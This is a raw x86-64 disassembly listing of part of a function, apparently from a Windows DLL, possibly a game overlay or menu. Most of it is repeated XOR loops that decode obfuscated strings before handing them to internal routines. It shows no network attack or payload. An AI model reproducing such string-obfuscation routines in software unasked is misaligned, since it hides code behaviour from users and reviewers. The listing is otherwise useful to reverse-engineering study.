pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c24]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c20]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800847f0
lea rdx, [0x18023bfad]
lea rcx, [rbp + 0x1c20]
call fcn.1800031c0
cmp byte [0x1801b6f11], sil
movups xmm0, xmmword [str.vRYTQR]
movzx eax, word [0x1801b6f10]
mov word [rbp + 0x2068], ax
movups xmmword [rbp + 0x2058], xmm0
je 0x1800849b0
mov r8d, esi
cmp r12d, 2
jl 0x180084971
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x205c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180084880
cmp r8d, 0x12
jge 0x1800849b0
movsxd rax, r8d
lea r9, [rbp + 0x2058]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180084980
lea rdx, [0x18023bfb8]
lea rcx, [rbp + 0x2058]
call fcn.1800031c0
movzx eax, byte [0x1801b6f28]
mov r8d, esi
mov byte [rbp + 0x1fa8], al
movups xmm0, xmmword [str._RZRS]
movups xmmword [rbp + 0x1f98], xmm0
cmp r12d, 2
jl 0x180084af1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1f9c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180084a00
cmp r8d, 0x11
jge 0x180084b30
movsxd rax, r8d
lea r9, [rbp + 0x1f98]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180084b00
lea rdx, [0x18023bfc8]
lea rcx, [rbp + 0x1f98]
call fcn.1800031c0
cmp byte [0x18023bfb1], sil
jne 0x180084cc3
cmp byte [0x1801b6f3d], sil
mov eax, dword [0x1801b6f38]
movsd xmm0, qword [0x1801b6f30]
mov dword [rbp + 0x1a18], eax
movzx eax, word [0x1801b6f3c]
mov word [rbp + 0x1a1c], ax
movsd qword [rbp + 0x1a10], xmm0
je 0x180084cb0
mov r8d, esi
cmp r12d, 2
jl 0x180084c72
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6f30]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a10], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a14]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a10]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180084c80
lea rdx, [0x18023bfb2]
lea rcx, [rbp + 0x1a10]
call fcn.1800031c0
cmp byte [0x18023bfb2], sil
jne 0x180084e43
cmp byte [0x1801b6f4b], sil
movsd xmm0, qword [str.tAQPLR]
mov eax, dword [0x1801b6f48]
movsd qword [rbp + 0x13d0], xmm0
mov dword [rbp + 0x13d8], eax
je 0x180084e30
mov r8d, esi
cmp r12d, 2
jl 0x180084de4
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tAQPLR]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x13d0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x13d4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x13d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x13d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180084e00
lea rdx, [0x18023bfb1]
lea rcx, [rbp + 0x13d0]
call fcn.1800031c0
movzx eax, word [0x1801b6f58]
lea rdx, [0x18023bfb3]
movsd xmm0, qword [str._RDR]
lea rcx, [rbp + 0x12c0]
movsd qword [rbp + 0x12c0], xmm0
xor byte [rbp + 0x12c1], 0x33
xor byte [rbp + 0x12c2], 0x34
xor byte [rbp + 0x12c3], 0x35
xor byte [rbp + 0x12c4], 0x36
xor byte [rbp + 0x12c5], 0x37
xor byte [rbp + 0x12c6], 0x38
xor byte [rbp + 0x12c7], 0x39
mov word [rbp + 0x12c8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x12c8], 0x3a
xor al, 0x3c
xor byte [rbp + 0x12c9], 0x3b
mov byte [rbp + 0x12ca], al
mov byte [rbp + 0x12c0], 0x52
call fcn.1800031c0
call fcn.180006b10
movzx ecx, word [0x1801b6f68]
lea rdx, [rbp + 0x478]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor r9d, r9d
movsd xmm0, qword [str.sW_ECY_V_]
xor al, 0x3c
movsd qword [rbp + 0x12d0], xmm0
mov r8b, 1
xor byte [rbp + 0x12d1], 0x33
xor byte [rbp + 0x12d2], 0x34
xor byte [rbp + 0x12d3], 0x35
xor byte [rbp + 0x12d4], 0x36
xor byte [rbp + 0x12d5], 0x37
xor byte [rbp + 0x12d6], 0x38
xor byte [rbp + 0x12d7], 0x39
mov word [rbp + 0x12d8], cx
xor cl, 0x3a
xor byte [rbp + 0x12d9], 0x3b
mov byte [rbp + 0x12d8], cl
lea rcx, [rbp + 0x12d0]
mov dword [rbp + 0x478], 0x43a00000
mov dword [rbp + 0x47c], 0x436b4405
mov byte [rbp + 0x12d0], 0x41
mov byte [rbp + 0x12da], al
call fcn.180003bf0
mov eax, dword [str._VXZWS8]
lea rdx, [0x18023bfc4]
movzx ecx, word [0x1801b6f70]
movaps xmm2, xmm7
movss xmm3, dword [0x1801a1800]
mov dword [rbp + 0x1a8], eax
movzx eax, byte [0x1801b6f72]
xor byte [rbp + 0x1a9], 0x33
xor al, 0x38
xor byte [rbp + 0x1aa], 0x34
xor byte [rbp + 0x1ab], 0x35
mov word [rbp + 0x1ac], cx
xor cl, 0x36
xor byte [rbp + 0x1ad], 0x37
mov byte [rbp + 0x1ae], al
lea rax, str._0.2f
mov byte [rbp + 0x1ac], cl
lea rcx, [rbp + 0x1a8]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
mov byte [rbp + 0x1a8], 0x52
call fcn.180008d40
movzx ecx, word [0x1801b6f78]
mov eax, dword [str.vRYTQR8]
mov dword [rbp + 0x1b0], eax
movzx eax, byte [0x1801b6f7a]
xor byte [rbp + 0x1b1], 0x33
xor byte [rbp + 0x1b2], 0x34
xor byte [rbp + 0x1b3], 0x35
mov word [rbp + 0x1b4], cx
xor cl, 0x36
xor byte [rbp + 0x1b5], 0x37
mov byte [rbp + 0x1b4], cl
xor al, 0x38
mov byte [rbp + 0x1b0], 0x44
mov dword [rsp + 0x28], esi
lea rdx, reloc.WS2_32.dll_accept
mov r9d, 0x3e8
mov qword [rsp + 0x20], rbx
mov r8d, 1
mov byte [rbp + 0x1b6], al
lea rcx, [rbp + 0x1b0]
call fcn.180008db0
mov eax, dword [str._RZRS7]
lea rdx, reloc.WS2_32.dll_accept
mov dword [rbp + 0xd8], eax
lea rcx, [rbp + 0xd8]
movzx eax, word [0x1801b6f80]
mov r9d, 0x2710
xor byte [rbp + 0xd9], 0x33
mov r8d, 1
xor byte [rbp + 0xda], 0x34
xor byte [rbp + 0xdb], 0x35
mov word [rbp + 0xdc], ax
xor al, 0x36
xor byte [rbp + 0xdd], 0x37
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xdc], al
mov byte [rbp + 0xd8], 0x52
mov qword [rsp + 0x20], rbx
call fcn.180008db0
mov eax, dword [str.tZFP]
lea rdx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rbp + 0xe0], eax
lea rcx, [rbp + 0xe0]
movzx eax, word [0x1801b6f88]
mov r9d, 0x2710
xor byte [rbp + 0xe1], 0x33
mov r8d, 1
xor byte [rbp + 0xe2], 0x34
xor byte [rbp + 0xe3], 0x35
mov word [rbp + 0xe4], ax
xor al, 0x36
xor byte [rbp + 0xe5], 0x37
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xe4], al
mov byte [rbp + 0xe0], 0x46
mov qword [rsp + 0x20], rbx
call fcn.180008db0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x480]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x480], 0x44070000
movss dword [rbp + 0x484], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b6f90]
lea rdx, [rbp + 0x488]
mov eax, dword [0x1801b6f8c]
mov r9d, 8
mov dword [rbp + 0x1b8], eax
xor r8d, r8d
movzx eax, byte [0x1801b6f92]
xor byte [rbp + 0x1b9], 0x33
xor al, 0x38
xor byte [rbp + 0x1ba], 0x34
xor byte [rbp + 0x1bb], 0x35
mov word [rbp + 0x1bc], cx
xor cl, 0x36
xor byte [rbp + 0x1bd], 0x37
mov byte [rbp + 0x1bc], cl
lea rcx, [rbp + 0x1b8]
mov dword [rbp + 0x488], 0x43a00000
mov dword [rbp + 0x48c], 0x4405c000
mov byte [rbp + 0x1b8], Ordinal_79
mov byte [rbp + 0x1be], al
call fcn.18000fbb0
movups xmm0, xmmword [str.eVUEYYK]
mov dword [rbp + 0x490], 0x43a00000
mov dword [rbp + 0x494], 0x43ed8000
movups xmmword [rbp + 0x1e20], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180085390
cmp r12d, 2
jl 0x18008534b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e24]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180085260
jmp 0x180085390
lea r9, [rbp + 0x1e20]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180085360
xor r9d, r9d
lea rdx, [rbp + 0x490]
mov r8b, 1
lea rcx, [rbp + 0x1e20]
call fcn.180003bf0
cmp byte [0x1801b6fb5], sil
xorps xmm0, xmm0
mov eax, dword [0x1801b6fb0]
movups xmmword [rbp + 0x2e70], xmm0
mov dword [rbp + 0x1a28], eax
movsd xmm0, qword [0x1801b6fa8]
movzx eax, word [0x1801b6fb4]
movsd qword [rbp + 0x1a20], xmm0
mov qword [rbp + 0x2e80], rsi
mov qword [rbp + 0x2e88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e70], sil
mov word [rbp + 0x1a2c], ax
je 0x180085530
mov r8d, esi
cmp r12d, 2
jl 0x1800854ee
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6fa8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a20], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a24]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a20]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180085500
mov qword [rsp + 0x28], rsi
lea rdx, [0x1802402b0]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, 0x40
lea rcx, [rbp + 0x1a20]
call fcn.18004a5d0
call fcn.180016870
movss xmm7, dword [0x1801a17d4]
addss xmm0, xmm7
call fcn.180025690
movzx ecx, word [0x1801b6fbc]
lea rdx, [rbp + 0x498]
mov eax, dword [0x1801b6fb8]
xor r9d, r9d
mov dword [rbp + 0x1c0], eax
mov r8b, 1
movzx eax, byte [0x1801b6fbe]
xor byte [rbp + 0x1c1], 0x33
xor al, 0x38
xor byte [rbp + 0x1c2], 0x34
xor byte [rbp + 0x1c3], 0x35
mov word [rbp + 0x1c4], cx
xor cl, 0x36
xor byte [rbp + 0x1c5], 0x37
mov byte [rbp + 0x1c4], cl
lea rcx, [rbp + 0x1c0]
mov dword [rbp + 0x498], 0x43b90000
mov dword [rbp + 0x49c], 0x43938000
mov byte [rbp + 0x1c0], 0x57
mov byte [rbp + 0x1c6], al
call fcn.18000fbb0
mov ebx, esi
cmp ebx, 0x57
ja case.default.0x180085606
movsxd rax, ebx
mov ecx, dword [rdi + rax*4 + 0xa5ad0]
add rcx, rdi
jmp rcx
mov eax, dword [str.bZGAY_8]
mov r8, r13
movzx ecx, word [0x1801b6fc4]
mov dword [rbp + 0x1c8], eax
movzx eax, byte [0x1801b6fc6]
xor byte [rbp + 0x1c9], 0x33
xor byte [rbp + 0x1ca], 0x34
xor byte [rbp + 0x1cb], 0x35
mov word [rbp + 0x1cc], cx
xor cl, 0x36
xor byte [rbp + 0x1cd], 0x37
xor al, 0x38
mov byte [rbp + 0x1c8], 0x50
mov byte [rbp + 0x1ce], al
lea rax, [rbp + 0x1c8]
mov byte [rbp + 0x1cc], cl
inc r8
cmp byte [rax + r8], sil
jne 0x180085667
lea rdx, [rbp + 0x1c8]
jmp 0x18008c521
mov eax, dword [0x1801b6fd0]
mov r8d, esi
movsd xmm0, qword [0x1801b6fc8]
mov dword [rbp + 0x17d8], eax
movzx eax, byte [0x1801b6fd4]
mov byte [rbp + 0x17dc], al
movsd qword [rbp + 0x17d0], xmm0
cmp r12d, 2
jl 0x180085790
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6fc8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x17d0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17d4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17d4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17d0]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800857a0
lea rax, [rbp + 0x17d0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800857e0
lea rdx, [rbp + 0x17d0]
jmp 0x18008c521
cmp byte [0x1801b6fe5], sil
mov eax, dword [0x1801b6fe0]
movsd xmm0, qword [0x1801b6fd8]
mov dword [rbp + 0x1a38], eax
movzx eax, word [0x1801b6fe4]
mov word [rbp + 0x1a3c], ax
movsd qword [rbp + 0x1a30], xmm0
je 0x180085960
mov r8d, esi
cmp r12d, 2
jl 0x180085917
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6fd8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a30], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a34]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180085930
lea rax, [rbp + 0x1a30]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180085970
lea rdx, [rbp + 0x1a30]
jmp 0x18008c521
cmp byte [0x1801b6ff1], sil
movsd xmm0, qword [0x1801b6fe8]
movzx eax, word [0x1801b6ff0]
movsd qword [rbp + 0x10b0], xmm0
mov word [rbp + 0x10b8], ax
je 0x1800859f2
xor byte [rbp + 0x10b1], 0x33
xor byte [rbp + 0x10b2], 0x34
xor byte [rbp + 0x10b3], 0x35
xor byte [rbp + 0x10b4], 0x36
xor byte [rbp + 0x10b5], 0x37
xor byte [rbp + 0x10b6], 0x38
xor byte [rbp + 0x10b7], 0x39
xor byte [rbp + 0x10b8], 0x3a
xor byte [rbp + 0x10b9], 0x3b
mov byte [rbp + 0x10b0], 0x41
lea rax, [rbp + 0x10b0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180085a00
lea rdx, [rbp + 0x10b0]
jmp 0x18008c521
movzx eax, byte [0x1801b7000]
mov r8, r13
movsd xmm0, qword [str.aGA_]
movsd qword [rbp + 0xe10], xmm0
xor byte [rbp + 0xe11], 0x33
xor byte [rbp + 0xe12], 0x34
xor byte [rbp + 0xe13], 0x35
xor byte [rbp + 0xe14], 0x36
xor byte [rbp + 0xe15], 0x37
xor byte [rbp + 0xe16], 0x38
xor byte [rbp + 0xe17], 0x39
xor al, 0x3a
mov byte [rbp + 0xe10], 0x53
mov byte [rbp + 0xe18], al
lea rax, [rbp + 0xe10]
inc r8
cmp byte [rax + r8], sil
jne 0x180085a76
lea rdx, [rbp + 0xe10]
jmp 0x18008c521
movzx ecx, word [0x1801b7010]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.bZGAY_]
movsd qword [rbp + 0x12e0], xmm0
xor byte [rbp + 0x12e1], 0x33
xor byte [rbp + 0x12e2], 0x34
xor byte [rbp + 0x12e3], 0x35
xor byte [rbp + 0x12e4], 0x36
xor byte [rbp + 0x12e5], 0x37
xor byte [rbp + 0x12e6], 0x38
xor byte [rbp + 0x12e7], 0x39
mov word [rbp + 0x12e8], cx
xor cl, 0x3a
xor byte [rbp + 0x12e9], 0x3b
xor al, 0x3c
mov byte [rbp + 0x12e0], 0x50
mov byte [rbp + 0x12ea], al
lea rax, [rbp + 0x12e0]
mov byte [rbp + 0x12e8], cl
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180085b10
lea rdx, [rbp + 0x12e0]
jmp 0x18008c521
movzx ecx, word [0x1801b7020]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x1801b7018]
movsd qword [rbp + 0x12f0], xmm0
xor byte [rbp + 0x12f1], 0x33
xor byte [rbp + 0x12f2], 0x34
xor byte [rbp + 0x12f3], 0x35
xor byte [rbp + 0x12f4], 0x36
xor byte [rbp + 0x12f5], 0x37
xor byte [rbp + 0x12f6], 0x38
xor byte [rbp + 0x12f7], 0x39
mov word [rbp + 0x12f8], cx
xor cl, 0x3a
xor byte [rbp + 0x12f9], 0x3b
xor al, 0x3c
mov byte [rbp + 0x12f0], 0x53
mov byte [rbp + 0x12fa], al
lea rax, [rbp + 0x12f0]
mov byte [rbp + 0x12f8], cl
inc r8
cmp byte [rax + r8], sil
jne 0x180085ba4
